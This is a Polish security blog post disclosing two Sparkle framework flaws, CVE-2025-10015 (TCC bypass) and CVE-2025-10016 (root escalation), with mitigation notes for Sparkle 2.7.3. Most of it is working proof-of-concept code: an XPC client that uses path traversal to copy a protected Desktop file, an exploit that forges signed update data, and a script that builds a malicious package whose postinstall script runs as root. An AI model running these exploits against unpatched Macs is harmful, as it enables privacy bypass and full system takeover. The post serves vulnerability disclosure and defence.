
Ten wpis przypomina o dobrze znanej, lecz wciąż spotykanej podatności – braku prawidłowej weryfikacji klientów XPC. Problem ten nadal występuje w niektórych aplikacjach, nawet popularnych, takich jak framework Sparkle. Na przykładzie dwóch podatności, CVE-2025-10016 i CVE-2025-10015, pokażę dwa różne zagrożenia wynikające z tego błędu. Pierwszy z nich – eskalacja uprawnień (LPE) – jest dość intuicyjny i znany z innych platform. Drugi – obejście TCC (Transparency, Consent, and Control) – bywa mniej oczywisty dla osób spoza ekosystemu macOS. Dlatego warto zapoznać się z artykułem Zagrożenie związane z obchodzeniem TCC w systemie macOS.
Miłej lektury!
Przegląd podatności
W macOS usługi XPC są często wykorzystywane do oddelegowywania zadań wymagających wyższych uprawnień lub działania w odizolowanym środowisku pomiędzy różnymi komponentami aplikacji. Problem pojawia się, gdy taka usługa nie weryfikuje tożsamości klienta, z którym się komunikuje. Wówczas powstaje fałszywa granica zaufania, którą złośliwe oprogramowanie może wykorzystać do wykonania operacji z wyższymi uprawnieniami. Tak właśnie było w przypadku frameworka Sparkle, gdzie brak odpowiednich kontroli pozwalał lokalnym atakującym wykorzystywać istniejące usługi do obchodzenia zabezpieczeń TCC (Transparency, Consent, and Control) lub eskalacji uprawnień do poziomu roota.
Przyczyna była taka sama, choć występowała w dwóch różnych usługach o odmiennych uprawnieniach.
Błąd został po raz pierwszy zidentyfikowany w aplikacji Ghostty.app, lecz każda aplikacja wykorzystująca Sparkle była potencjalnie podatna.
Model zagrożenia i skutki
W omawianym scenariuszu zakłada się, że złośliwa aplikacja ma już ma standardowe, niesandboxowane uprawnienia do wykonania kodu.
- Nawet jeśli aplikacja nie posiada dostępu do zasobów chronionych przez TCC, złośliwy kod może podszyć się pod podatną aplikację, np. Ghostty – w oknie dialogowym proszącym o zgodę użytkownik zobaczy nazwę tej aplikacji.

- Nawet proces z uprawnieniami roota nie ma automatycznego dostępu do danych chronionych przez TCC w macOS:

W pierwszym przypadku (obejście TCC) celem atakującego jest uzyskanie dostępu do katalogów objętych ochroną TCC, takich jak Desktop, Documents czy inne, bez wyświetlania użytkownikowi monitu TCC. W drugim przypadku (eskalacja uprawnień – LPE) celem jest podniesienie uprawnień do roota, uzyskując pełną kontrolę nad systemem.
Obejście TCC – CVE-2025-10015
Framework Sparkle dołączony do aplikacji Ghostty zawiera usługę XPC (Downloader.xpc), która jest prywatna dla aplikacji i znajduje się pod ścieżką:
/Applications/Ghostty.app/Contents/Frameworks/Sparkle.framework/XPCServices/Downloader.xpc
Jednak atakujący może ręcznie zarejestrować tę samą usługę globalnie jako org.sparkle-project.DownloaderService. Po uruchomieniu taka instancja działa z uprawnieniami TCC przypisanymi do Ghostty:
launchctl bootstrap gui/$(id -u) /Applications/Ghostty.app/Contents/Frameworks/Sparkle.framework/Versions/B/XPCServices/Downloader.xpc
Podatność polega na tym, że usługa nie weryfikuje klienta, który się do niej łączy. Dzięki temu atakujący może kazać jej skopiować pliki chronione przez TCC do dowolnego miejsca. Fragment funkcji odpowiedzialnej za akceptowanie połączenia:
bool __cdecl -[ServiceDelegate listener:shouldAcceptNewConnection:](ServiceDelegate *self, SEL a2, id a3, id a4)
{
id v4; // x19
NSXPCInterface *v5; // x20
NSXPCInterface *v6; // x20
SPUDownloader *v7; // x20
id v8; // x21
id *v9; // x20
v4 = objc_retain(a4);
v5 = objc_retainAutoreleasedReturnValue(
+[NSXPCInterface interfaceWithProtocol:](
&OBJC_CLASS___NSXPCInterface,
"interfaceWithProtocol:",
&OBJC_PROTOCOL___SPUDownloaderProtocol));
objc_msgSend(v4, "setExportedInterface:", v5);
objc_release(v5);
v6 = objc_retainAutoreleasedReturnValue(
+[NSXPCInterface interfaceWithProtocol:](
&OBJC_CLASS___NSXPCInterface,
"interfaceWithProtocol:",
&OBJC_PROTOCOL___SPUDownloaderDelegate));
objc_msgSend(v4, "setRemoteObjectInterface:", v6);
objc_release(v6);
v7 = objc_alloc(&OBJC_CLASS___SPUDownloader);
v8 = objc_retainAutoreleasedReturnValue(objc_msgSend(v4, "remoteObjectProxy"));
v9 = sub_100003E80((id *)&v7->super.isa, v8);
objc_release(v8);
objc_msgSend(v4, "setExportedObject:", v9);
objc_msgSend(v4, "resume");
objc_release(v4);
objc_release(v9);
return 1;
}Atakujący ma dostęp do metod z protokołu SPUDownloaderProtocol, m.in.:
-[SPUDownloader startPersistentDownloadWithRequest:bundleIdentifier:desiredFilename:]
-[SPUDownloader removeDownloadDirectoryWithDownloadToken:bundleIdentifier:]
-[SPUDownloader URLSession:downloadTask:didFinishDownloadingToURL:]
-[SPUDownloader URLSession:downloadTask:didWriteData:totalBytesWritten:totalBytesExpectedToWrite:]
-[SPUDownloader URLSession:task:didCompleteWithError:]W prezentowanym exploicie wykorzystana została metoda startPersistentDownloadWithRequest:.
Proof of Concept
Poniższy PoC pokazuje, jak lokalny atakujący może odczytać ~/Desktop/secret.txt i zapisać jego zawartość w /tmp/poc.
Krok 1: Przygotowanie środowiska
- Upewnij się, że Ghostty ma przyznane przez TCC uprawnienia do katalogu Desktop.
- Utórz testowy plik w
~/Desktop/secret.txt.echo test > ~/Desktop/secret.txt - Ręcznie uruchom usługę w oddzielnym terminalu, żeby obserwować jej działanie:
launchctl bootstrap gui/$(id -u) /Applications/Ghostty.app/Contents/Frameworks/Sparkle.framework/Versions/B/XPCServices/Downloader.xpcKrok 2: Skompiluj i uruchom klienta exploita
Skompiluj poniższy kod:
// clang -fobjc-arc -framework Foundation xpc_downloader_client.m -o xpc_downloader_client
#import <Foundation/Foundation.h>
// Protocol for the XPC service. This defines the method we are targeting.
@protocol SPUDownloaderProtocol
- (void)startPersistentDownloadWithRequest:(NSURLRequest *)request
bundleIdentifier:(NSString *)bundleIdentifier
desiredFilename:(NSString *)desiredFilename;
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// --- Setup ---
// 1. Define the source file the service will "download" (copy).
// Create this file on your Desktop before running the PoC to proof TCC bypass
NSString *sourceFilePath = [NSHomeDirectory() stringByAppendingPathComponent:@"Desktop/secret.txt"];
// 2. Craft the malicious 'desiredFilename' using path traversal.
// This tricks the service into writing outside its intended cache directory (I think Sparkle should sanitize this).
NSString *maliciousFilename = @"../../../../../../../../../../tmp/poc";
// --- Connection ---
// Connect to the vulnerable XPC service by its Mach service name started it with:
// launchctl bootstrap gui/$(id -u) /Applications/Ghostty.app/Contents/Frameworks/Sparkle.framework/Versions/B/XPCServices/Downloader.xpc
NSLog(@"[+] Connecting to XPC service 'org.sparkle-project.DownloaderService'...");
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"org.sparkle-project.DownloaderService" options:0];
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SPUDownloaderProtocol)];
[connection resume];
// Get a proxy object to interact with the service.
id<SPUDownloaderProtocol> downloaderProxy = [connection remoteObjectProxyWithErrorHandler:^(NSError * _Nonnull error) {
NSLog(@"[!] XPC connection error: %@", error);
}];
if (!downloaderProxy) {
NSLog(@"[!] Failed to get a proxy to the XPC service. Is it running?");
return 1;
}
// --- Exploitation ---
// 3. Create a URL request pointing to the LOCAL file.
// The service will handle this file:// URL and use it as the source.
NSURL *fileURL = [NSURL fileURLWithPath:sourceFilePath];
NSURLRequest *request = [NSURLRequest requestWithURL:fileURL];
// 4. Call the vulnerable method with the malicious arguments.
NSLog(@"[+] Calling remote method to copy '%@' to '/tmp/poc'...", sourceFilePath);
[downloaderProxy startPersistentDownloadWithRequest:request
bundleIdentifier:@"crimson.AFINE.xpc-client"
desiredFilename:maliciousFilename];
// Give the service a moment to process the request.
[NSThread sleepForTimeInterval:2.0];
NSLog(@"[+] Request sent. Cleaning up.");
[connection invalidate];
// --- Verification ---
if ([[NSFileManager defaultManager] fileExistsAtPath:@"/tmp/poc"]) {
NSLog(@"[+] SUCCESS! The file was successfully written to /tmp/poc.");
} else {
NSLog(@"[!] FAILED. The file was not found at /tmp/poc.");
}
}
return 0;
}Po uruchomieniu powinieneś zobaczyć: [+] SUCCESS! The file was successfully written to /tmp/poc. Sprawdź zawartość secret.txt:
cat /tmp/poc/secret.txt
testObecność /tmp/poc/secret.txt potwierdza, że zawartość Desktop/secret.txt została wykradziona – udane obejście TCC.
Mitygacja
Pełny changelog znajduje się w wydaniu Sparkle 2.7.3 – Important security fixes for local exploits. Podatność nie dotyczy Sparkle 1 ani wersji < 2.6; dodatkowo, aplikacje, które usunęły serwis downloadera (np. żeby oszczędzić miejsce), są bezpieczne. Wprowadzono dwie kluczowe poprawki:
- lepsza walidacja URL żądania,
- wymuszenie kontroli podpisu kodu (code signing requirements).
Drugi podpunkt jest najważniejszy – dodaje weryfiakcję autoryzacji w –[ServiceDelegate listener:shouldAcceptNewConnection:], dzięki czemu do usługi mogą się łączyć tylko uprawnione procesy.
LPE — CVE-2025-10016
To było trochę podchwytliwe, ponieważ podatność ma dwie ścieżki eksploatacji, a sama podatna usługa XPC (Autoupdate) była „ukryta” – nie występowała na dysku jako plik .xpc, więc nie dało się jej po prostu uruchomić i podłączyć do niej tak jak w poprzednim przykładzie. Zamiast tego używamy Installer.xpc:
launchctl bootstrap gui/$(id -u) /Applications/Ghostty.app/Contents/Frameworks/Sparkle.framework/Versions/B/XPCServices/Installer.xpc
Jednak, podobnie jak wcześniej, przyczyną jest brak uwierzytelniania klienta łączącego się z usługą XPC. Pierwsza ścieżka eksploatacji to łańcuch dwóch problemów:
- Globalna usługa XPC
org.sparkle-project.InstallerLaunchernie weryfikuje przychodzących połączeń, co pozwala dowolnej lokalnej aplikacji połączyć się i uruchomić usługęAutoupdatez uprawnieniami root. - Nowo uruchomiony proces Autoupdate również nie sprawdza swoich klientów XPC, więc atakujący może połączyć się z usługą
Autoupdatei nakazać jej wykonanie instalacji pakietu (.pkg).
Istnieje też alternatywna ścieżka – atakujący wysyła odpowiednio zsynchronizowaną wiadomość XPC do narzędzia Autoupdate, instalując aktualizację z przygotowanego fałszywego bundle’a, który zawiera dowolny pakiet .pkg.
Tutaj pokażemy mniej ryzykowną, pierwszą ścieżkę eksploatacji, która wymaga podania danych uwierzytelniających przez użytkownika.
Eksploatacja Autoupdate
Niezależnie od wybranej ścieżki, eksploatacja obejmuje wiele kroków w komunikacji klient–serwer. Na szczęście Sparkle jest projektem open-source, więc można wywnioskować cały przepływ komunikacji, czytając kod i debugując go przy pomocy lldb. Wygląda on mniej więcej tak:
- Usługa próbuje zweryfikować podpis EdDSA pakietu, ale zostaje zmylona i zmuszona do użycia klucza publicznego kontrolowanego przez atakującego.
- Serwis pobiera klucz publiczny z „
host bundle path”, która podana jest we złośliwej wiadomości XPC. - Podając ścieżkę do fałszywego bundle’a z własnym kluczem publicznym, atakujący zmusza serwis do uznania podpisu za ważny.
- Po ominięciu sprawdzenia podpisu usługa
Autoupdateuruchamia/usr/sbin/installerjako root na spreparowanym przez atakującego pakiecie. - Skrypty
postinstallw pakiecie wykonują się z uprawnieniami roota, co daje pełną lokalną eskalację uprawnień.
Cały ten proces zrealizowano w kodzie exploit_pkg.m zamieszczonym poniżej.
Proof of Concept
Atakujący może uruchomić usługę Installer XPC z zainstalowanej aplikacji, wywołując okienko autoryzacji z dowolnym komunikatem, co wprowadza użytkownika w błąd i skłania do zainstalowania „aktualizacji” z fałszywego bundle’a zawierającego złośliwy pakiet. Poniżej pełny kod:
// exploit_pkg.m
// clang -framework Foundation exploit_pkg.m -o exp
#import <Foundation/Foundation.h>
#import <dispatch/dispatch.h>
#pragma mark - Protocols
@protocol SUInstallerLauncherProtocol
- (void)launchInstallerWithHostBundlePath:(NSString *)hostBundlePath
updaterIdentifier:(NSString *)updaterIdentifier
authorizationPrompt:(NSString *)authorizationPrompt
installationType:(NSString *)installationType
allowingDriverInteraction:(BOOL)allowingDriverInteraction
completion:(void (^)(uint64_t, BOOL))completionHandler;
@end
// Autoupdate's protocols
@protocol SUInstallerCommunicationProtocol
- (void)handleMessageWithIdentifier:(int32_t)identifier data:(NSData *)data;
@end
@protocol SUInstallerConnectionProtocol
- (void)handleMessageWithIdentifier:(int32_t)identifier data:(NSData *)data;
@end
@protocol SUInstallerAgentInitiationProtocol
- (void)connectionDidInitiateWithReply:(void (^)(void))acknowledgement;
- (void)connectionWillInvalidateWithError:(NSError *)error;
@end
@protocol SPUInstallerAgentProtocol
- (void)registerApplicationBundlePath:(NSString *)applicationBundlePath reply:(void (^)(BOOL))reply;
- (void)listenForTerminationWithCompletion:(void (^)(void))completionHandler;
- (void)registerInstallationInfoData:(NSData *)infoData;
@end
#pragma mark - Exploit-Defined Dummy Classes
@interface ExploitSUSignatures : NSObject <NSSecureCoding> { unsigned char _ed25519_signature[64]; }
@property (nonatomic) uint8_t ed25519SignatureStatus;
- (instancetype)initWithEd:(NSString * _Nullable)edSignature;
- (const unsigned char *)ed25519Signature;
@end
@implementation ExploitSUSignatures
+ (BOOL)supportsSecureCoding { return YES; }
- (instancetype)initWithEd:(NSString * _Nullable)edSignature { self = [super init]; if (self && edSignature) { NSData *d = [[NSData alloc] initWithBase64EncodedString:edSignature options:0]; if (d && d.length==64) { [d getBytes:_ed25519_signature length:64]; _ed25519SignatureStatus=2; } else { _ed25519SignatureStatus=1; } } else { _ed25519SignatureStatus=0; } return self; }
- (const unsigned char *)ed25519Signature { return (_ed25519SignatureStatus == 2) ? _ed25519_signature : NULL; }
- (instancetype)initWithCoder:(NSCoder *)c { self = [super init]; if (self) { _ed25519SignatureStatus = (uint8_t)[c decodeIntegerForKey:@"SUEDSignatureStatus"]; NSData *d = [c decodeObjectOfClass:[NSData class] forKey:@"SUEDSignature"]; if (d && d.length==64) {[d getBytes:_ed25519_signature length:64];} } return self; }
- (void)encodeWithCoder:(NSCoder *)c { [c encodeInteger:self.ed25519SignatureStatus forKey:@"SUEDSignatureStatus"]; if ([self ed25519Signature]!=NULL) { NSData *d = [NSData dataWithBytes:(const void *)self->_ed25519_signature length:sizeof(self->_ed25519_signature)]; [c encodeObject:d forKey:@"SUEDSignature"]; } }
@end
@interface ExploitSPUInstallationInputData : NSObject <NSSecureCoding>
@property (nonatomic, copy) NSString *relaunchPath, *hostBundlePath, *installationType, *expectedVersion;
@property (nonatomic, copy) NSData *updateURLBookmarkData;
@property (nonatomic, strong) ExploitSUSignatures *signatures;
@property (nonatomic) uint64_t expectedContentLength;
@end
@implementation ExploitSPUInstallationInputData
+ (BOOL)supportsSecureCoding { return YES; }
- (void)encodeWithCoder:(NSCoder *)c { [c encodeObject:self.relaunchPath forKey:@"SURelaunchPath"]; [c encodeObject:self.hostBundlePath forKey:@"SUHostBundlePath"]; [c encodeObject:self.updateURLBookmarkData forKey:@"SUUpdateURLBookmarkData"]; [c encodeObject:self.installationType forKey:@"SUInstallationType"]; [c encodeObject:self.signatures forKey:@"SUSignatures"]; [c encodeObject:self.expectedVersion forKey:@"SUExpectedVersion"]; [c encodeInt64:(int64_t)self.expectedContentLength forKey:@"SUExpectedContentLength"]; }
- (instancetype)initWithCoder:(NSCoder *)c { self = [super init]; if (self) { _relaunchPath = [c decodeObjectOfClass:[NSString class] forKey:@"SURelaunchPath"]; _hostBundlePath = [c decodeObjectOfClass:[NSString class] forKey:@"SUHostBundlePath"]; _updateURLBookmarkData = [c decodeObjectOfClass:[NSData class] forKey:@"SUUpdateURLBookmarkData"]; _installationType = [c decodeObjectOfClass:[NSString class] forKey:@"SUInstallationType"]; _signatures = [c decodeObjectOfClass:[ExploitSUSignatures class] forKey:@"SUSignatures"]; _expectedVersion = [c decodeObjectOfClass:[NSString class] forKey:@"SUExpectedVersion"]; _expectedContentLength = (uint64_t)[c decodeInt64ForKey:@"SUExpectedContentLength"]; } return self; }
@end
#pragma mark - XPC Stubs
@interface XPCAgent : NSObject <SPUInstallerAgentProtocol>
@end
@implementation XPCAgent
- (void)registerApplicationBundlePath:(NSString *)path reply:(void (^)(BOOL))reply { NSLog(@"[+] Agent: Service called registerApplicationBundlePath. Replying YES."); reply(YES); }
- (void)listenForTerminationWithCompletion:(void (^)(void))completionHandler {}
- (void)registerInstallationInfoData:(NSData *)infoData {}
@end
@interface XPCClient : NSObject <SUInstallerCommunicationProtocol>
@end
@implementation XPCClient
- (void)handleMessageWithIdentifier:(int32_t)identifier data:(NSData *)data { NSLog(@"[+] Service sent message %d back.", identifier); if (identifier == 10) { NSLog(@"[!] Exploit failed. Installer reported an error."); exit(1); } if (identifier == 8) { NSLog(@"[SUCCESS] Installer finished stage 3. Check for /tmp/root.txt"); exit(0); } }
@end
@interface AgentListenerDelegate : NSObject<NSXPCListenerDelegate>
@end
@implementation AgentListenerDelegate
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
NSLog(@"[+] Agent Listener: Accepted connection from Autoupdate service.");
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SPUInstallerAgentProtocol)];
newConnection.exportedObject = [[XPCAgent alloc] init];
newConnection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SUInstallerAgentInitiationProtocol)];
[newConnection resume];
id<SUInstallerAgentInitiationProtocol> remoteProxy = [newConnection remoteObjectProxy];
[remoteProxy connectionDidInitiateWithReply:^{ NSLog(@"[+] Agent Listener: Acknowledged initiation to Autoupdate service."); }];
return YES;
}
@end
#pragma mark - Main Exploit Logic
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) { fprintf(stderr, "Usage: %s <target_bundle_id>\n", argv[0]); return 1; }
NSString *userInput = [NSString stringWithUTF8String:argv[1]];
NSString *targetBundleID = [userInput stringByReplacingOccurrencesOfString:@"-spki" withString:@""];
NSString *pocDir = @"/tmp/sparkle_poc_pkg";
NSString *fakeBundlePath = [pocDir stringByAppendingPathComponent:@"FakeTargetApp.app"];
NSString *updatePkgPath = [[[[pocDir stringByAppendingPathComponent:@"org.sparkle-project.Sparkle"] stringByAppendingPathComponent:@"PersistentDownloads"] stringByAppendingPathComponent:@"SomeRandomDir"] stringByAppendingPathComponent:@"MaliciousUpdate.pkg"];
NSString *sigFilePath = [pocDir stringByAppendingPathComponent:@"signature.txt"];
NSFileManager *fm = [NSFileManager defaultManager];
if (![fm fileExistsAtPath:updatePkgPath]) { NSLog(@"[!] ERROR: Malicious package not found at %@", updatePkgPath); return 1; }
NSLog(@"[+] Crafting malicious payload...");
NSError *readError = nil;
NSString *signatureString = [[NSString stringWithContentsOfFile:sigFilePath encoding:NSUTF8StringEncoding error:&readError] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
if (!signatureString) { NSLog(@"[!] Failed to read signature file: %@", readError); return 1; }
NSURL *updateURL = [NSURL fileURLWithPath:updatePkgPath];
NSError *bookmarkError = nil;
NSData *bookmarkData = [updateURL bookmarkDataWithOptions:0 includingResourceValuesForKeys:nil relativeToURL:nil error:&bookmarkError];
if (!bookmarkData) { NSLog(@"[!] Failed to create bookmark data: %@", bookmarkError); return 1; }
ExploitSPUInstallationInputData *installData = [[ExploitSPUInstallationInputData alloc] init];
installData.relaunchPath = @"/Applications/Ghostty.app";
installData.hostBundlePath = fakeBundlePath;
installData.updateURLBookmarkData = bookmarkData;
installData.installationType = @"package";
installData.signatures = [[ExploitSUSignatures alloc] initWithEd:signatureString];
installData.expectedVersion = @"2.0";
installData.expectedContentLength = [[[fm attributesOfItemAtPath:updatePkgPath error:nil] objectForKey:NSFileSize] unsignedLongLongValue];
NSKeyedArchiver *archiver = [[NSKeyedArchiver alloc] initRequiringSecureCoding:YES];
[archiver setClassName:@"SPUInstallationInputData" forClass:[ExploitSPUInstallationInputData class]];
[archiver setClassName:@"SUSignatures" forClass:[ExploitSUSignatures class]];
[archiver encodeObject:installData forKey:NSKeyedArchiveRootObjectKey];
NSData *archivedData = [archiver encodedData];
[archiver finishEncoding];
NSString *agentServiceName = [targetBundleID stringByAppendingString:@"-spkp"];
AgentListenerDelegate *agentDelegate = [[AgentListenerDelegate alloc] init];
NSXPCListener *agentListener = [[NSXPCListener alloc] initWithMachServiceName:agentServiceName];
agentListener.delegate = agentDelegate;
[agentListener resume];
NSLog(@"[+] Started listening for agent connections on '%@'", agentServiceName);
NSString *launcherServiceName = @"org.sparkle-project.InstallerLauncher";
NSXPCConnection *launcherConnection = [[NSXPCConnection alloc] initWithMachServiceName:launcherServiceName options:0];
launcherConnection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SUInstallerLauncherProtocol)];
[launcherConnection resume];
id<SUInstallerLauncherProtocol> launcherProxy = [launcherConnection remoteObjectProxyWithErrorHandler:^(NSError *e) { NSLog(@"[-] Launcher XPC error: %@", e); exit(1); }];
dispatch_semaphore_t launcherSemaphore = dispatch_semaphore_create(0);
NSLog(@"[+] Asking InstallerLauncher to start the Autoupdate service for us... Please enter your password if prompted.");
[launcherProxy launchInstallerWithHostBundlePath:@"/Applications/Ghostty.app"
updaterIdentifier:targetBundleID
authorizationPrompt:@"Sparkle Exploit"
installationType:@"package"
allowingDriverInteraction:YES
completion:^(uint64_t result, BOOL ack){
NSLog(@"[+] InstallerLauncher completion: result %llu, ack %d", result, ack);
if (result != 0) { NSLog(@"[!] InstallerLauncher reported failure. Exiting."); exit(1); }
dispatch_semaphore_signal(launcherSemaphore);
}];
if (dispatch_semaphore_wait(launcherSemaphore, dispatch_time(DISPATCH_TIME_NOW, 60 * NSEC_PER_SEC)) != 0) {
NSLog(@"[!] Timed out waiting for authorization/launcher. Exiting.");
exit(1);
}
[launcherConnection invalidate];
NSString *autoupdateServiceName = [targetBundleID stringByAppendingString:@"-spki"];
NSLog(@"[+] Connecting to our newly launched Autoupdate service '%@'...", autoupdateServiceName);
NSXPCConnection *auConn = [[NSXPCConnection alloc] initWithMachServiceName:autoupdateServiceName options:0];
auConn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SUInstallerConnectionProtocol)];
XPCClient *client = [[XPCClient alloc] init];
auConn.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SUInstallerCommunicationProtocol)];
auConn.exportedObject = client;
auConn.invalidationHandler = ^{ NSLog(@"[+] Main XPC Connection invalidated. Exploit likely finished."); exit(0); };
[auConn resume];
id<SUInstallerConnectionProtocol> remoteObject = [auConn remoteObjectProxyWithErrorHandler:^(NSError *e) { NSLog(@"[-] Main XPC error: %@", e); exit(1); }];
NSLog(@"[+] Sending malicious installation data...");
[remoteObject handleMessageWithIdentifier:0 data:archivedData];
NSLog(@"[+] Keeping client alive for up to 20 seconds...");
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 20 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{
NSLog(@"[!] Timeout reached. Check /tmp/root.txt to verify success.");
exit(0);
});
[[NSRunLoop currentRunLoop] run];
}
return 0;
}Poniżej pokazano skrpyt, który przygotowuje za nas wszystko – generuje klucz prywatny oraz po-instalacyjne komendy, które będziemy wykonywać jako root:
#!/bin/bash
set -e
# --- Configuration ---
POC_DIR="/tmp/sparkle_poc_pkg"
VALIDATED_DOWNLOAD_DIR="$POC_DIR/org.sparkle-project.Sparkle/PersistentDownloads/SomeRandomDir"
MALICIOUS_PKG_PATH="$VALIDATED_DOWNLOAD_DIR/MaliciousUpdate.pkg"
FAKE_BUNDLE_NAME="FakeTargetApp.app"
FAKE_BUNDLE_PATH="$POC_DIR/$FAKE_BUNDLE_NAME"
PKG_ROOT_DIR="$POC_DIR/pkg_root"
PKG_SCRIPTS_DIR="$POC_DIR/pkg_scripts"
EXPLOIT_NAME="sparkle_exploit_pkg"
SIG_FILE="$POC_DIR/signature.txt"
PRIVATE_KEY_PEM="$POC_DIR/private_key.pem"
echo "[+] Setting up PKG exploit environment in $POC_DIR"
rm -rf "$POC_DIR"
mkdir -p "$VALIDATED_DOWNLOAD_DIR" "$PKG_ROOT_DIR" "$PKG_SCRIPTS_DIR"
# 1. Generate an Ed25519 private key using openssl.
echo "[+] Generating Ed25519 private key with openssl..."
openssl genpkey -algorithm Ed25519 -out "$PRIVATE_KEY_PEM" 2>/dev/null
# 2. Extract the raw 32-byte public key and Base64 encode it, as Sparkle expects.
echo "[+] Extracting and formatting public key..."
PUBLIC_KEY=$(openssl pkey -in "$PRIVATE_KEY_PEM" -pubout -outform DER | tail -c 32 | base64)
if [ -z "$PUBLIC_KEY" ]; then
echo "[!] FAILED to extract public key."
exit 1
fi
echo "[+] Public key for Info.plist: $PUBLIC_KEY"
# 3. Create a minimal fake "host" bundle containing our public key.
if [ -z "$1" ]; then
echo "Usage: $0 <target_bundle_id>"
exit 1
fi
TARGET_BUNDLE_ID=$1
echo "[+] Creating fake host bundle at $FAKE_BUNDLE_PATH with ID $TARGET_BUNDLE_ID"
mkdir -p "$FAKE_BUNDLE_PATH/Contents"
plutil -create xml1 "$FAKE_BUNDLE_PATH/Contents/Info.plist"
plutil -insert CFBundleIdentifier -string "$TARGET_BUNDLE_ID" "$FAKE_BUNDLE_PATH/Contents/Info.plist"
plutil -insert CFBundleVersion -string "1.0" "$FAKE_BUNDLE_PATH/Contents/Info.plist"
plutil -insert SUPublicEDKey -string "$PUBLIC_KEY" "$FAKE_BUNDLE_PATH/Contents/Info.plist"
# 4. Create the malicious postinstall script.
echo "[+] Creating malicious postinstall script..."
POSTINSTALL_PATH="$PKG_SCRIPTS_DIR/postinstall"
cat > "$POSTINSTALL_PATH" << EOF
#!/bin/sh
# This script will be executed as root by the Autoupdate service.
id > /tmp/root.txt
exit 0
EOF
chmod +x "$POSTINSTALL_PATH"
# 5. Create the malicious .pkg file.
echo "[+] Creating malicious package at $MALICIOUS_PKG_PATH"
pkgbuild --root "$PKG_ROOT_DIR" \
--scripts "$PKG_SCRIPTS_DIR" \
--identifier "com.pwn.sparkle.pkg" \
"$MALICIOUS_PKG_PATH"
# 6. Sign the .pkg file using our private key and openssl.
echo "[+] Signing malicious package with openssl..."
openssl pkeyutl -sign -inkey "$PRIVATE_KEY_PEM" -rawin -in "$MALICIOUS_PKG_PATH" | base64 > "$SIG_FILE"
echo "[+] Signature saved to $SIG_FILE"
# 7. Compile the main exploit code.
echo "[+] Compiling exploit_pkg.m into ./$EXPLOIT_NAME"
clang -framework Foundation exploit_pkg.m -o "$EXPLOIT_NAME"
# 8. Bootstrap the Sparkle Installer service.
echo "[+] Bootstrapping Sparkle Installer service..."
launchctl bootstrap gui/$(id -u) /Applications/Ghostty.app/Contents/Frameworks/Sparkle.framework/Versions/B/XPCServices/Installer.xpc
echo
echo "[+] Setup complete. Run the exploit (as a normal user) with:"
echo " ./$EXPLOIT_NAME <target_bundle_id>"
echo
echo "If successful, /tmp/root.txt will be created and owned by root."Exploit tworzy plik /tmp/root.txt jako root z outputem komendy „id”. Poniżej krótkie nagranie pokazujące cały proces.
Podsumowując – jest to eskalacja uprawnień do roota poprzez mechanizm aktualizacji Sparkle z dowolnym bundle’em i dowolnym pakietem .pkg – każdy mógł połączyć się z serwisem Autoupdate. Taki wektor pozwala atakującemu zachować pozory legalności, wykorzystując zaufaną aplikację (malware mógłby też wyświetlić własne okno z prośbą o hasło). Druga ścieżka – przez okno wyścigu (race condition) – czyni to jeszcze groźniejszym zagrożeniem.
Mitygacja
Pełny changelog znajdziesz w Sparkle 2.7.3 – Important security fixes for local exploits. Podatność nie dotyczy Sparkle 1 ani aplikacji, które zbudowały własną wersję Sparkle z wyłączonym wsparciem pakietów (SPARKLE_BUILD_PACKAGE_SUPPORT) – co w praktyce zdarza się rzadko. W poprawce wprowadzono m.in.:
- lepszą weryfikację klienta względem aktualizowanego bundle’a,
- egzekwowanie wymagań dotyczących podpisu kodu.
Podobnie jak w poprzednim przypadku, kluczową mitigacją jest sprawdzanie podpisu kodu klienta. Dodaje to kontrolę uprawnień w shouldAcceptNewConnection, dzięki czemu z usługą Autoupdate mogą połączyć się tylko autoryzowane procesy.
Na zakończenie
Specjalne podziękowania dla Zorga, który bardzo sprawnie poprowadził całą sprawę. Wielu dostawców mogłoby się uczyć od takich deweloperów. Od pierwszego zgłoszenia, przez poprawkę, po retesty minęły około trzy tygodnie, podczas gdy część naszych raportów u innych producentów czekała na rozwiązanie ponad rok.
Wydanie Sparkle 2.7.3 i nowsze rozwiązuje te problemy przez ostrzejszą walidację i egzekwowanie podpisów kodu, ale ten incydent zwaraca uwagę na to, że każda aplikacja macOS korzystająca z XPC i nieweryfikująca swoich klientów jest zagrożona. Ważna uwaga: wymuszanie podpisu działa dla aplikacji sygnowanych certyfikatami Apple, więc oprogramowanie firm trzecich bez ważnego podpisu nadal pozostaje podatne. To kolejny argument za poprawnym, ważnym podpisywaniem aplikacji – cały ekosystem macOS na tym polega.
Na koniec, w nawiązaniu do naszego wpisu „Przedstawiamy DASVS: Standard Bezpieczeństwa dla Aplikacji Desktopowych”, te dwie podatności można sklasyfikować w ramach standardu jako:
- V2: Authentication
- V2.3: Integration with Platform Authentication
- 2.3.1: zweryfikuj czy aplikacja prawidłowo implementuje przepływ uwierzytelniania i model bezpieczeństwa przy korzystaniu z systemowych mechanizmów uwierzytelniania.
- V2.3: Integration with Platform Authentication
Zachęcamy społeczność do korzystania ze standardu i dzielenia się uwagami, abyśmy mogli go dalej udoskonalać.




